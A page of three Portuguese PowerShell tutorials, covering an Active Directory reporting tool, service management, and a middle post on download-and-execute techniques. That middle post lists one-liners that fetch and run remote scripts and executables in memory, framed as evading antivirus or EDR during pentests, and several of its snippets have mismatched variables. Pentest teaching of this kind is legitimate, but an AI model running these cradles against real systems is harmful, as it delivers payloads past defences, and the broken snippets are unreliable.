WINDOWS: ADRT – Active Directory Report Tool

Como objetivo de colaborar com o dia-a-dia das tarefas diárias dos Administradores de Redes e Analista de Segurança da Informação eu optei em compartilhar esta ferramenta que desenvolvi utilizando PowerShell, HTML, JavaScript. O objetivo do ADRT é basicamente extrair informações úteis do Active Directory e exibir-las de forma amigável a fim de auxiliar na geração de indicadores e na realização de auditorias.

Projeto : github.com/100security/adrt

Download : adrt.rar

01 – Passo

Após realizar o download do adrt.zip descompacte em qualquer diretório (recomendado: C:\adrt). Execute o comando dir para listar os scripts.

cd adrt
dir

02 – Passo

Execute o script principal adrt.ps1 para visualizar o menu com todas as opções de relatórios.

.\adrt.ps1

03 – Passo

Informe o numero 00 para realizar as configurações como: Nome da Empresa, Seu Nome e Dados de E-mail.

[ 00 ] Config Tool
Enter a number: 00
Altere os valores nas linhas: 8, 10, 12, 14, 16 e 18

Para o envio de e-mail você pode utilizar um serviço de SMTP autenticado ou um Servidor Local, no Artigo abaixo eu mostro como montar um servidor de e-mail local usando Postfix, mas você tem diversas alterativas para fazer isso.

Artigo : Servidor de E-mail com Postfix + SquirrelMail + Outlook [ visualizar ]

04 – Passo

Após alterar as configurações com os seus dados basta informar um número correspondente a um relatório que deseja receber. exemplo :

[ 01 ] All Users
Enter a number: 01

05 – Passo

O relatórios gerados são armazenados na pasta ad-reports\ad-users.

Relatório

HTML : ad-users-2018-7-9.html
CSV : ad-users-2018-7-9.csv

HTML – ad-users-2018-7-9.html

06 – Passo

E-mail enviado com os relatórios em anexo!

07 – Passo

Outa opção é a extração completa de todos os relatórios disponíveis na opção 14.

[ 14 ] All Reports
Enter a number: 14

Esta opção inicia uma Interface Web para facilitar a navegação em todos os relatórios gerados. Basta clicar no botão correspondente ao relatório que deseja visualizar :

Veja um vídeo explicativo:

Gostou? Se tiverem algumas sugestões, dica ou se ficou com alguma dúvida sobre este tutorial, não tem problema! Basta comentar no post que iremos responder suas dúvidas assim que for possível.

Fonte: 100security

WINDOWS: Powershell Download & Execute

Já precisou realizar o download de algum arquivo em Powershell e teve dificuldades? Este tutorial visa fornecer métodos simples e rápidos de realizar download utilizando Powershell e como carregar scripts Powershell em memória.

O Powershell é uma ferramenta poderosa usada por muitos administradores de sistemas para automatizar tarefas e gerenciar sistemas Windows. Porém, a mesma funcionalidade que torna o Powershell tão útil também pode ser explorada por criminosos cibernéticos. Uma técnica que tem sido usada com frequência é o carregamento de script em memória, que envolve o download de um script malicioso e sua execução em um sistema comprometido.

Carregar script .ps1 em memória

Primeiramente vamos ver alguns métodos para carregar scripts .ps1 em memória. Esta técnica é extremamente útil quando estamos lidando com algum antivírus ou EDR durante nosso pentest.

WebClient.DownloadString

Utilização básica:

iex (new-object Net.Webclient).DownloadString("http://192.168.13.37/script.ps1")

powershell.exe iex (new-object Net.Webclient).DownloadString('http://192.168.13.37//script.ps1')

Adicionando User Agent na request

$cli= New-Object System.Net.WebClient; $cli.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"); $file = "http://192.168.13.37/script.ps1"; $cmd= $cli.DownloadString($payload); iex $cmd

Net.WebRequest

$req = [System.Net.WebRequest]::Create("http://192.168.13.37/script.ps1"); $res = $req.GetResponse(); iex ([System.IO.StreamReader] ($res.GetResponseStream())).ReadToEnd()

System.Xml.XmlDocument

Para utilizar este método se faz necessário um arquivo XML com o comando a ser executado. Neste caso estamos executando o comando $env:computername, que retorna o hostname da máquina:

Em seguida, basta executar o comando abaixo na máquina Windows:

$remotexml = New-Object System.Xml.XmlDocument;$remotexml.Load("http://192.168.13.37/arquivo.xml");iex $remotexml.command.cmd.execute

Msxml2.XMLHTTP

$req = New-Object -ComObject Msxml2.XMLHTTP;$downloader.open("GET", "http://192.168.13.37/script.ps1", $false);$req.send();iex $req.responseText

WinHttp.WinHttpRequest.5.1

$req = New-Object -ComObject WinHTttp.WinHttpRequest.5.1; $req.open("GET", "http://192.168.0.96/script.ps1", $false); $req.send(); iex $downloader.responseText

Realizar Download para o disco

Os métodos abaixo realizam o download do arquivo/script desejado para o disco e em seguida executam o mesmo:

System.Net.Webclient DownloadFile

(new-object System.Net.Webclient).DownloadFile("http://192.168.13.37/script.ps1", "script.ps1"); .\script.ps1

$cli = New-Object System.Net.WebClient;$payload = "https://192.168.0.96/arquivo.exe";$out = "C:\windows\temp\arquivo.exe";$cmd = $cli.DownloadFile($payload, $file);& $file

Invoke-WebRequest

Invoke-WebRequest -Uri http://192.168.13.37/script.ps1 -OutFile script.ps1; .\script.ps1

Gostou? Se tiverem algumas sugestões, dica ou se ficou com alguma dúvida sobre este tutorial, não tem problema! Basta comentar no post que iremos responder suas dúvidas assim que for possível.

Fonte:ironlinux

POWERSHELL: Trabalhando com Serviços

Hoje vamos demostrar com você pode administrar os serviços do Windows pelo PowerShell, a versão que estamos usando é a PowerShell7.4

Há oito cmdlets de Serviço principal, projetados para uma ampla variedade de tarefas de serviço. Este artigo analisa apenas a listagem e a alteração do estado de execução dos serviços. Você pode obter uma lista de cmdlets de serviço usando Get-Command *-Service. Você pode encontrar informações sobre cada cmdlet usando Get-Help , como Get-Help New-Service.

Obtenção de serviços Get-Service

É possível obter os serviços em um computador local ou remoto usando o cmdlet Get-Service, usar o comando Get-Service sem parâmetros retornará todos os serviços. Você pode filtrar por nome, até mesmo usando um asterisco como um caractere curinga:

PS> Get-Service -Name se*

Status    Name          DisplayName
------    ----          -----------
Running   seclogon      Secondary Logon 
Running   SENS System   Event Notification 
Stopped   ServiceLayer  ServiceLayer

Como nem sempre é aparente qual é o nome real do serviço, você pode achar que precisa localizar os serviços pelo nome de exibição passando o parâmetro -DisplayName. Você pode pesquisar por nome específico, usar caracteres curinga ou fornecer uma lista de nomes de exibição:

PS> Get-Service -DisplayName se* 

Status   Name            DisplayName 
------   ----            -----------
Running  lanmanserver    Server 
Running  SamSs Security  Accounts Manager 
Running  seclogon        Secondary Logon 
Stopped  ServiceLayer    ServiceLayer 
Running  wscsvc          Security Center

Como obter serviços remotos

Com o Windows PowerShell, você pode usar o parâmetro -ComputerName do cmdlet Get-Service para obter os serviços em computadores remotos. O parâmetro -ComputerName aceita vários valores e caracteres curinga, por isso você pode obter os serviços em vários computadores com um comando. O exemplo abaixo obtém obtém os serviços no computador remoto Server01.

Get-Service -ComputerName Server01

A partir do PowerShell 6.0, os cmdlets *-Service não têm o parâmetro -ComputerName. Você ainda pode obter serviços em computadores remotos com a comunicação remota do PowerShell. Por exemplo, o comando a seguir obtém os serviços no computador remoto Server02.

Invoke-Command -ComputerName Server02 -ScriptBlock { Get-Service }

Você também pode gerenciar serviços com os outros cmdlets *-Service. Para obter mais informações sobre comunicação remota do PowerShell, confira about_Remote.

Obtenção dos serviços necessários e dependentes

O cmdlet Get-Service tem dois parâmetros que são muito úteis na administração de serviços:

O parâmetro RequiredServices obtém serviços dos quais depende o serviço LanmanWorkstation.

PS> Get-Service -Name LanmanWorkstation -RequiredServices
 
Status   Name      DisplayName 
------   ----      ----------- 
Running  MRxSmb20  SMB 2.0 MiniRedirector 
Running  bowser    Bowser 
Running  MRxSmb10  SMB 1.x MiniRedirector 
Running  NSI       Network Store Interface Service

O parâmetro DependentServices obtém que requerem o serviço LanmanWorkstation.

PS> Get-Service -Name LanmanWorkstation -DependentServices 

Status   Name         DisplayName 
------   ----         ----------- 
Running  SessionEnv   Terminal Services Configuration 
Running  Netlogon     Netlogon 
Stopped  Browser      Computer Browser 
Running  BITS         Background Intelligent Transfer Ser…

O comando a seguir obtém todos os serviços com dependências. O cmdlet Format-Table para exibir as propriedades Status, Name, RequiredServices e DependentServices dos serviços.

Get-Service -Name * | Where-Object {$_.RequiredServices -or $_.DependentServices} | Format-Table -Property Status, Name, RequiredServices, DependentServices -auto

O Get-Service cmdlet obtém todos os serviços no computador e envia os objetos pelo pipeline. O Where-Object cmdlet seleciona os serviços cuja propriedade DependentServices não é nula.

Os resultados são enviados pelo pipeline para o Format-List cmdlet. O parâmetro Property exibe o nome do serviço, o nome dos serviços dependentes e uma propriedade calculada que exibe o número de serviços dependentes para cada serviço.

hora fixar algumas coisas básicas

Vamos realizar um filtro utilizando as colunas status para retomar todos os serviços ativos (status running), vamos usar o cmdlet a seguir:

get-service | where-object { $_.Status -eq “running” }

Get-Service Obtém todos os serviços no computador e envia os objetos pelo pipeline. O Where-Object cmdlet seleciona apenas os serviços com uma propriedade Status igual a Running. O status é apenas uma propriedade de objetos de serviço. Para ver todas as propriedades, digite Get-Service | Get-Member.

Agora vamos realizar um filtro utilizando as colunas name para retomar os serviços desejado, para verificarmos um serviço específico, devemos usar o seguinte cmdlet:

get-service | where-object { $_.Name -eq "netlogon" } ou ainda get-service netlogon

Se quisermos validar determinados serviços com uma expressão de texto, devemos utilizar o seguinte cmdlet:

get-service | where-object { $_.Name -like "wmi*<em>" } ou ainda get-service wmi</em>

Obter serviços que começam com uma cadeia de caracteres de pesquisa e uma exclusão

Este exemplo obtém apenas os serviços com nomes de serviço que começam com win, exceto para o serviço WinRM.

Get-Service -Name "win*" -Exclude "WinRM"

Parar, iniciar, suspender e reiniciar serviços

Todos os cmdlets de serviço têm o mesmo formato geral. Os serviços podem ser especificados pelo nome comum ou pelo nome de exibição, assumindo listas e caracteres curinga como valores.

Para interromper o spooler de impressão, use:

Stop-Service -Name spooler

Para iniciar o spooler de impressão depois de interrompido, use:

Start-Service -Name spooler

Para suspender o spooler de impressão, use:

Suspend-Service -Name spooler

Para reiniciar (para e depois iniciar) o spooler de impressão, use:

Restart-Service -Name spooler

WARNING: Waiting for service 'Print Spooler (Spooler)' to finish starting...

Observe que você recebe uma mensagem de aviso repetida sobre a inicialização do Spooler de impressão. Quando você executa uma operação de serviço mais demorada, o PowerShell o notifica de que ainda está tentando executar a tarefa.

Se você quiser reiniciar vários serviços, poderá obter uma lista de serviços, filtrá-los e então executar a reinicialização:

Get-Service | Where-Object -FilterScript {$_.CanStop} | Restart-Service

WARNING: Waiting for service 'Computer Browser (Browser)' to finish stopping...
WARNING: Waiting for service 'Computer Browser (Browser)' to finish stopping...
Restart-Service : can't stop service 'Logical Disk Manager (dmserver)' because
 it has dependent services. It can only be stopped if the Force flag is set.
At line:1 char:57
+ Get-Service | Where-Object -FilterScript {$_.CanStop} | Restart-Service <<<<
WARNING: Waiting for service 'Print Spooler (Spooler)' to finish starting...
WARNING: Waiting for service 'Print Spooler (Spooler)' to finish starting...

Esses cmdlets de serviço não têm um parâmetro ComputerName, mas você pode executá-los em um computador remoto usando o cmdlet Invoke-Command. Esse comando reinicia o serviço de Spooler no computador remoto Server01.

Invoke-Command -ComputerName Server01 {Restart-Service Spooler}

Aqui vou trazer mais alguns exemplos que servem para os demais cmdlets anteriores, o comando a seguir reinicia os serviços que têm um nome de exibição que começa com Net, exceto para o serviço Logon de Rede:

C:> Restart-Service -DisplayName "net*" -Exclude "net logon"

Agora vamos iniciar todos os serviços de rede parados

C:> Get-Service -Name "net*" | Where-Object {$_.Status -eq "Stopped"} | Restart-Service

Esse comando inicia todos os serviços de rede interrompidos no computador.

Esse comando usa o Get-Service cmdlet para obter objetos que representam os serviços cujo nome de serviço começa com net. O operador de pipeline (|) envia o objeto de serviços para o Where-Object cmdlet, que seleciona apenas os serviços que têm um status de parado. Outro operador de pipeline envia os serviços selecionados para o Restart-Service.

Na prática, você usaria o parâmetro WhatIf para determinar o efeito do comando antes de executá-lo.

Mais a frente vamos falar um pouco mais sobre o Set-Service, Execução remota e Suspend-Service:

Gostou? Se tiverem algumas sugestões ou dicas deixem nos comentários.

Fonte: learn.microsoft, linhadecodigo